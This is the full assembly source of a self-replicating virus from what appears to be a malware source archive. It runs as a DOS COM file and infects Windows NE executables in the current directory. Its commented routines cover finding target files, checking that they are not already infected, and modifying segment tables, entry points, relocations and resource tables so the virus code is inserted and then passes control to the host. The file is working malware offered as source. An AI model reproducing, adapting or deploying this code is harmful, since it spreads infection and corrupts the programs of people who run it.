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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.WindowsVirus.asm

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;A Basic Windows-EXE infecting virus. Launched as a DOS COM file.
.model small
.code
;All code must be offset-relocatable.
;All data is stored on the stack.
;Useful constants
NEW_HDR_SIZE EQU 40H ;size of new EXE header
;The following are used to access data on the stack. The first 512 bytes are
;a buffer for disk reads/writes.
FILE_ID EQU 200H ;"*.EXE" constant
ENTRYPT EQU 206H ;ip of virus start
VIRSTART EQU 208H ;offset of virus start in cs
NH_OFFSET EQU 20AH ;new EXE header offset from file start
VIRSECS EQU 20CH ;size added to file, in sectors for virus
INITSEC EQU 20EH ;initial cs location in file (sectors)
RELOCS EQU 210H ;number of relocatables in initial cs
LOG_SEC EQU 212H ;logical sector size for pgm
CS_SIZE EQU 214H ;size of all data in code seg, including rels, not virus
NEW_HDR EQU 216H ;new EXE header
;The following gives the size of the virus, in bytes
VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS
ORG 100H
;******************************************************************************
;This is the main virus routine. It simply finds a file to infect and infects
;it, and then passes control to the host program. It resides in the first
;segment of the host program, that is, the segment where control is initially
;passed.
VIRUS:
push ax ;save all registers
push bx
push cx
push dx
push si
push di
call VIR_START
VIR_START:
pop bx
sub bx,3+6
push bp ;save segments and bp
push ds
push es
mov ax,ss ;all viral data is in stack segment
mov ds,ax
mov es,ax
sub sp,512+128 ;data area
mov bp,sp ;bp indexes data
mov [bp+VIRSTART],bx ;save virus starting offset here
call FIND_FILE ;find a viable file to infect
jnz GOTO_HOST ;z set if a file was found
call INFECT_FILE ;infect it if found
GOTO_HOST:
add sp,512+128
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
VIRUS_DONE:
jmp HOST ;pass control to host program
;******************************************************************************
;This routine searches for a file to infect. It looks for EXE files and then
;checks them to see if they're uninfected, infectable Windows files. If a file
;is found, this routine returns with Z set, with the file left open, and its
;handle in the bx register. This FIND_FILE searches only the current directory.
FIND_FILE:
mov di,bp ;first, put '*.EXE',0 on stack
add di,FILE_ID ;at this location
mov dx,di ;set dx up for search first
mov ax,2E2AH ;*.
stosw
mov ax,5845H ;EX
stosw
mov ax,0045H ;E(0)
stosw
xor cx,cx ;file attribute
mov ah,4EH ;search first
int 21H
FIND_LOOP:
or al,al ;see if search successful
jnz FIND_EXIT ;nope, exit with NZ set
call FILE_OK ;see if it is infectable
jz FIND_EXIT ;yes, get out with Z set
mov ah,4FH ;no, search for next file
int 21H
jmp SHORT FIND_LOOP
FIND_EXIT: ;pass control back to main routine
ret
;This routine determines whether a file is ok to infect. The conditions for an
;OK file are as follows:
;
; (1) It must be a Windows EXE file.
; (2) There must be enough room in the initial code segment for it.
; (3) The file must not be infected already.
;
;If the file is OK, this routine returns with Z set, the file open, and the
;handle in bx. If the file is not OK, this routine returns with NZ set, and
;it closes the file. This routine also sets up a number of important variables
;as it snoops through the file. These are used by the infect routine later.
FILE_OK:
push ds
push es ;save seg registers
mov ah,2FH
int 21H ;get current DTA address in es:bx
push es
push ds
pop es
pop ds ;exchange ds and es
mov dx,bx ;put address in ds:dx
add dx,30 ;set ds:dx to point to file name
mov ah,3DH ;ok, now open the file
mov al,01000010B ;flags, read/write, etc.
int 21H
pop es
pop ds ;restore seg registers
jnc FOK1 ;error on opening?
jmp FOK_ERROR2 ;yes, exit now
FOK1: mov bx,ax ;open ok, put handle in bx
mov ah,3FH ;now read EXE header
mov dx,bp ;ds:dx points to file buffer
mov cx,40H ;read 40H bytes
int 21H
jc FN1 ;exit on error
cmp [bp],5A4DH ;see if first 2 bytes are 'MZ'
jnz FN1 ;nope, file not an EXE, exit
cmp WORD PTR [bp+18H],40H ;see if reloc table is at 40H or more
jc FN1 ;nope, it can't be a Windows EXE
mov dx,[bp+3CH] ;ok, put offset to new header in dx
mov [bp+NH_OFFSET],dx ;and save it here
xor cx,cx
mov ax,4200H ;now do a seek from start
int 21H
jc FN1
mov ah,3FH
mov cx,NEW_HDR_SIZE ;now read the new header
mov dx,bp ;into memory
add dx,NEW_HDR
int 21H
jc FN1 ;exit if there is an error
cmp [bp+NEW_HDR],454EH ;see if this is 'NE' new header ID
jnz FN1 ;nope, not a Windows EXE!
mov al,[bp+36H+NEW_HDR] ;get target OS flags
and al,2 ;see if target OS = windows
jnz FOK2 ;ok, go on
FN1: jmp FOK_ERROR1 ;else exit
;If we get here, then condition (1) is fulfilled.
FOK2: mov dx,[bp+16H+NEW_HDR] ;get initial cs
call GET_SEG_ENTRY ;and read seg table entry into disk buf
jc FOK_ERROR1
mov ax,[bp+2] ;put segment length in ax
add ax,VIRUS_SIZE ;add size of virus to it
jc FOK_ERROR1 ;if we carry, there's not enough room
;else we're clear on this count
;If we get here, then condition (2) is fulfilled.
mov cx,[bp+NEW_HDR+32H] ;logical sector alignment
mov ax,1
shl ax,cl ;ax=logical sector size
mov cx,[bp] ;get logical-sector offset of start seg
mul cx ;byte offset in dx:ax
add ax,WORD PTR [bp+NEW_HDR+14H];add in ip of entry point
adc dx,0
mov cx,dx
mov dx,ax ;put entry point in cx:dx
mov ax,4200H ;and seek from start of file
int 21H
jc FOK_ERROR1
mov ah,3FH
mov cx,20H ;read 32 bytes
mov dx,bp
int 21H ;into buffer
jc FOK_ERROR1
mov di,bp
mov si,[bp+VIRSTART] ;get starting offset of virus in cs
mov cx,10H ;compare 32 bytes
FOK3: mov ax,cs:[si] ;of virus at cs
add si,2
add di,2
cmp ax,[di-2] ;with code in buffer
loopz FOK3
jz FOK_ERROR1 ;already there, exit not ok
;If we get here, then condition (3) is fulfilled, all systems go!
xor al,al ;set Z flag
ret ;and exit
FOK_ERROR1:
mov ah,3EH ;close file before exiting
int 21H
FOK_ERROR2:
mov al,1
or al,al ;set NZ
ret ;and return to caller
;******************************************************************************
;This routine modifies the file we found to put the virus in it. There are a
;number of steps in the infection process, as follows:
; 1) We have to modify the segment table. For the initial segment, this
; involves (a) increasing the segment size by the size of the virus,
; and (b) increase the minimum allocation size of the segment, if it
; needs it. Every segment AFTER this initial segment must also be
; adjusted by adding the size increase, in sectors, of the virus
; to it.
; 2) We have to change the starting ip in the new header. The virus is
; placed after the host code in this segment, so the new ip will be
; the old segment size.
; 3) We have to move all sectors in the file after the initial code segment
; out by VIRSECS, the size of the virus in sectors.
; 4) We have to move the relocatables, if any, at the end of the code
; segment we are infecting, to make room for the virus code
; 5) We must move the virus code into the code segment we are infecting.
; 6) We must adjust the jump in the virus to go to the original entry point.
; 7) We must adjust the resource offsets in the resource table to reflect
; their new locations.
; 8) We have to kill the fast-load area.
;
INFECT_FILE:
mov dx,[bp+NEW_HDR+24H] ;get resource table @
add dx,[bp+NH_OFFSET]
xor cx,cx
mov ax,4200H
int 21H
mov dx,bp
add dx,LOG_SEC ;read logical sector size
mov ah,3FH
mov cx,2
int 21H
mov cx,[bp+LOG_SEC]
mov ax,1
shl ax,cl
mov [bp+LOG_SEC],ax ;put logical sector size here
mov ax,[bp+NEW_HDR+14H] ;save old entry point
mov [bp+ENTRYPT],ax ;for future use
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp] ;get location of this seg in file
mov [bp+INITSEC],ax ;save that here
mov ax,[bp+2] ;get segment size
mov [bp+NEW_HDR+14H],ax ;update entry ip in new header in ram
call SET_RELOCS ;set up RELOCS and CS_SIZE
mov ax,VIRUS_SIZE ;now calculate added size of segment
add ax,[bp+CS_SIZE] ;ax=total new size
xor dx,dx
mov cx,[bp+LOG_SEC]
div cx ;ax=full sectors in cs with virus
or dx,dx ;any remainder?
jz INF05
inc ax ;adjust for partially full sector
INF05: push ax
mov ax,[bp+CS_SIZE] ;size without virus
xor dx,dx
div cx
or dx,dx
jz INF07
inc ax
INF07: pop cx
sub cx,ax ;cx=number of secs needed for virus
mov [bp+VIRSECS],cx ;save this here
call UPDATE_SEG_TBL ;perform mods in (1) above on file
mov ax,4200H ;now move file pointer to new header
mov dx,[bp+NH_OFFSET]
xor cx,cx
int 21H
lea di,[bp+NEW_HDR+37H] ;zero out fast load area
xor ax,ax
stosb
stosw
stosw ;(8) completed
mov ah,40H ;and update new header in file
mov dx,bp ;(we updated the entry point above)
add dx,NEW_HDR
mov cx,NEW_HDR_SIZE
int 21H ;mods in (2) above now complete
call MOVE_END_OUT ;move end of virus out by VIRSECS (3)
;also sets up RELOCS count
cmp WORD PTR [bp+RELOCS],0 ;any relocatables in cs?
jz INF1 ;nope, don't need to relocate them
call RELOCATE_RELOCS ;relocate relocatables in cs (4)
INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6)
call UPDATE_RES_TABLE ;update resource table entries
mov ah,3EH ;close the file now
int 21H ;all done infecting!
; mov ah,2FH ;report file name infected
; int 21H ;for DOS-based debugging purposes
; push es ;only!
; pop ds
; add bx,30
; mov dx,bx
;ZLP: mov al,[bx]
; or al,al
; jz ZLP1
; inc bx
; jmp ZLP
;ZLP1: mov BYTE PTR [bx],'$'
; mov ah,9
; int 21H
ret
;The following procedure updates the Segment Table entries per item (1) in
;INFECT_FILE.
UPDATE_SEG_TBL:
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp+2] ;get seg size
add ax,VIRUS_SIZE ;add the size of the virus to seg size
mov [bp+2],ax ;and update size in seg table
mov ax,[bp+6] ;get min allocation size of segment
or ax,ax ;is it 64K?
jz US2 ;yes, leave it alone
US1: add ax,VIRUS_SIZE ;add virus size on
jnc US2 ;no overflow, go and update
xor ax,ax ;else set size = 64K
US2: mov [bp+6],ax ;update size in table in ram
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp ;for initial cs to segment table
mov cx,8
int 21H ;ok, init cs seg table entry is modified
mov di,[bp+NEW_HDR+1CH] ;get number of segment table entries
US3: push di ;save table entry counter
mov dx,di ;dx=seg table entry # to read
call GET_SEG_ENTRY ;read it into disk buffer
mov ax,[bp] ;get offset of this segment in file
cmp ax,[bp+INITSEC] ;higher than initial code segment?
jle US4 ;nope, don't adjust
add ax,[bp+VIRSECS] ;yes, add the size of virus in
US4: mov [bp],ax ;adjust segment loc in memory
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp
mov cx,8
int 21H
pop di ;restore table entry counter
dec di
jnz US3 ;and loop until all segments done
ret ;all done
;This routine goes to the segment table entry number specified in dx in the
;file and reads it into the disk buffer. dx=1 is the first entry!
GET_SEG_ENTRY:
mov ax,4200H ;seek in file
dec dx
mov cl,3
shl dx,cl
add dx,[bp+NH_OFFSET]
add dx,[bp+NEW_HDR+22H] ;dx=ofs of seg table entry requested
xor cx,cx ; in the file
int 21H ;go to specified table entry
jc GSE1 ;exit on error
mov ah,3FH ;read table entry into disk buf
mov dx,bp
mov cx,8
int 21H
GSE1: ret
;This routine moves the end of the virus out by VIRSECS. The "end" is
;everything after the initial code segment where the virus will live.
;The variable VIRSECS is assumed to be properly set up before this is called.
;This routine also sets up the RELOCS variable.
MOVE_END_OUT:
mov ax,[bp+CS_SIZE] ;size of cs in bytes
mov cx,[bp+LOG_SEC]
xor dx,dx
div cx
or dx,dx
jz ME01
inc ax
ME01: add ax,[bp+INITSEC] ;ax=next sector after cs
push ax
xor dx,dx
xor cx,cx
mov ax,4202H ;seek end of file
int 21H ;returns dx:ax = file size
mov cx,[bp+LOG_SEC]
div cx ;ax=sectors in file
mov si,ax ;keep it here
pop di ;last sector after code segment
dec di
MEO2: push si
push di
call MOVE_SECTOR ;move sector number si out
pop di
pop si
dec si
cmp si,di
jnz MEO2 ;and loop until all moved
ret
;This routine moves a single sector from SI to SI+VIRSECS
MOVE_SECTOR:
mov ax,si
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200H
int 21H ;seek sector si
mov ah,3FH ;and read it
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H
mov ax,[bp+VIRSECS]
dec ax ;calculate new, relative file ptr
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4201H
int 21H ;and move there
mov ah,40H
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H ;and write sector there
ret
;This routine simply sets the variable RELOCS and CS_SIZE variables in memory.
SET_RELOCS:
mov WORD PTR [bp+RELOCS],0
mov dx,[bp+NEW_HDR+16H] ;read init cs seg table entry
call GET_SEG_ENTRY
mov ax,[bp+4] ;get segment flags
xor dx,dx
and ah,1 ;check for relocation data
mov ax,[bp+NEW_HDR+14H] ;size of segment is this
jz SRE ;no data, continue
push ax
push ax ;there is relocation data, how much?
mov ax,[bp+INITSEC] ;find end of code in file
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
pop cx ;cx = size of code
add ax,cx
adc dx,0
mov cx,dx
mov dx,ax ;cx:dx=end of cs in file
mov ax,4200H ;so go seek it
int 21H
mov ah,3FH ;and read 2 byte count of relocatables
mov dx,bp
mov cx,2
int 21H
mov ax,[bp]
mov [bp+RELOCS],ax ;save count here
mov cl,3
shl ax,cl
add ax,2 ;size of relocation data
pop cx ;size of code in segment
xor dx,dx
add ax,cx ;total size of segment
adc dx,0
SRE: mov [bp+CS_SIZE],ax ;save it here
ret
;This routine relocates the relocatables at the end of the initial code
;segment to make room for the virus. It will move any number of relocation
;records, each of which is 8 bytes long.
RELOCATE_RELOCS:
mov ax,[bp+RELOCS] ;number of relocatables
mov cl,3
shl ax,cl
add ax,2 ;ax=total number of bytes to move
push ax
mov ax,[bp+INITSEC]
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = end of cs in file
pop cx ;cx = size of relocatables
add ax,cx
adc dx,0 ;dx:ax = end of code+relocatables
xchg ax,cx
xchg dx,cx ;ax=size cx:dx=location
RR_LP: push cx
push dx
push ax
cmp ax,512
jle RR1
mov ax,512 ;read up to 512 bytes
RR1: sub dx,ax ;back up file pointer
sbb cx,0
push cx
push dx
push ax
mov ax,4200H ;seek desired location in file
int 21H
pop cx
mov ah,3FH
mov dx,bp
int 21H ;read needed number of bytes, # in ax
pop dx
pop cx
push ax ;save # of bytes read
add dx,VIRUS_SIZE ;move file pointer up now
adc cx,0
mov ax,4200H
int 21H
pop cx ;bytes to write
mov ah,40H
mov dx,bp
int 21H ;write them to new location
pop ax
pop dx
pop cx
cmp ax,512 ;less than 512 bytes to write?
jle RRE ;yes, we're all done
sub ax,512 ;nope, adjust indicies
sub dx,512
sbb cx,0
jmp RR_LP ;and go do another
RRE: ret
;This routine writes the virus code itself into the code segment being infected.
;It also updates the jump which exits the virus so that it points to the old
;entry point in this segment. The only trick is that we can't write directly
;from cs since we can't just set ds=cs in windows or you get a fault. Thus
;we move the virus to the disk buffer and then write from there.
WRITE_VIRUS_CODE:
mov ax,[bp+INITSEC] ;sectors to code segment
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = location of code seg
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = place to put virus
mov cx,dx
mov dx,ax
push cx
push dx ;save these to adjust jump
mov ax,4200H ;seek there
int 21H
mov si,[bp+VIRSTART] ;si=start of virus
mov cx,VIRUS_SIZE ;cx=size of virus
WVCLP: push cx
cmp cx,512 ;512 bytes maximum allowed per write
jle WVC1
mov cx,512
WVC1: push cx
mov di,bp ;now move virus to disk buffer
WCV2: mov al,cs:[si] ;get a byte from cs
inc si
stosb ;and save to disk buffer
loop WCV2 ;repeat until done
pop cx ;now write cx bytes to the file
mov dx,bp
mov ah,40H
int 21H
pop cx ;done writing,
cmp cx,512 ;did we have more than 512 bytes?
jle WVC3 ;nope, all done writing
sub cx,512 ;else subtract 512
jmp WVCLP ;and do another
WVC3: pop dx ;ok, now we have to update the jump
pop cx ;to the host
mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS
inc ax
add dx,ax
adc cx,0 ;cx:dx=location to update
push ax
mov ax,4200H ;go there
int 21H
pop ax
inc ax
inc ax
add ax,[bp+NEW_HDR+14H] ;ax=offset of instr after jump
sub ax,[bp+ENTRYPT] ;ax=distance to jump
neg ax ;make it a negative number
mov [bp],ax ;save it here
mov ah,40H ;and write it to disk
mov cx,2
mov dx,bp
int 21H ;all done
ret
;Update the resource table so sector pointers are right.
UPDATE_RES_TABLE:
mov dx,[bp+NEW_HDR+24H] ;move to resource table in EXE
add dx,[bp+NH_OFFSET]
add dx,2
xor cx,cx
mov ax,4200H
int 21H
URT1:
mov ah,3FH ;read 8 byte typeinfo record
mov dx,bp
mov cx,8
int 21H
cmp WORD PTR [bp],0 ;is type ID 0?
jz URTE ;yes, all done
mov cx,[bp+2] ;get count of nameinfo records to read
URT2: push cx
mov ah,3FH ;read 1 nameinfo record
mov dx,bp
mov cx,12
int 21H
mov ax,[bp] ;get offset of resource
cmp ax,[bp+INITSEC] ;greater than initial cs location?
jle URT3 ;nope, don't worry about it
add ax,[bp+VIRSECS] ;add size of virus
mov [bp],ax
mov ax,4201H ;now back file pointer up
mov dx,-12
mov cx,0FFFFH
int 21H
mov ah,40H ;and write updated resource rec to
mov dx,bp ;the file
mov cx,12
int 21H
URT3:
pop cx
dec cx ;read until all nameinfo records for
jnz URT2 ;this typeinfo are done
jmp URT1 ;go get another typeinfo record
URTE: ret
;******************************************************************************
END_VIRUS: ;label for the end of the windows virus
;******************************************************************************
;The following HOST is only here for the DOS-based loader. Once this infects
;a windows file, the virus will jump to the startup code for the program it
;is attached to.
HOST: mov ax,4C00H
int 21H
END VIRUS
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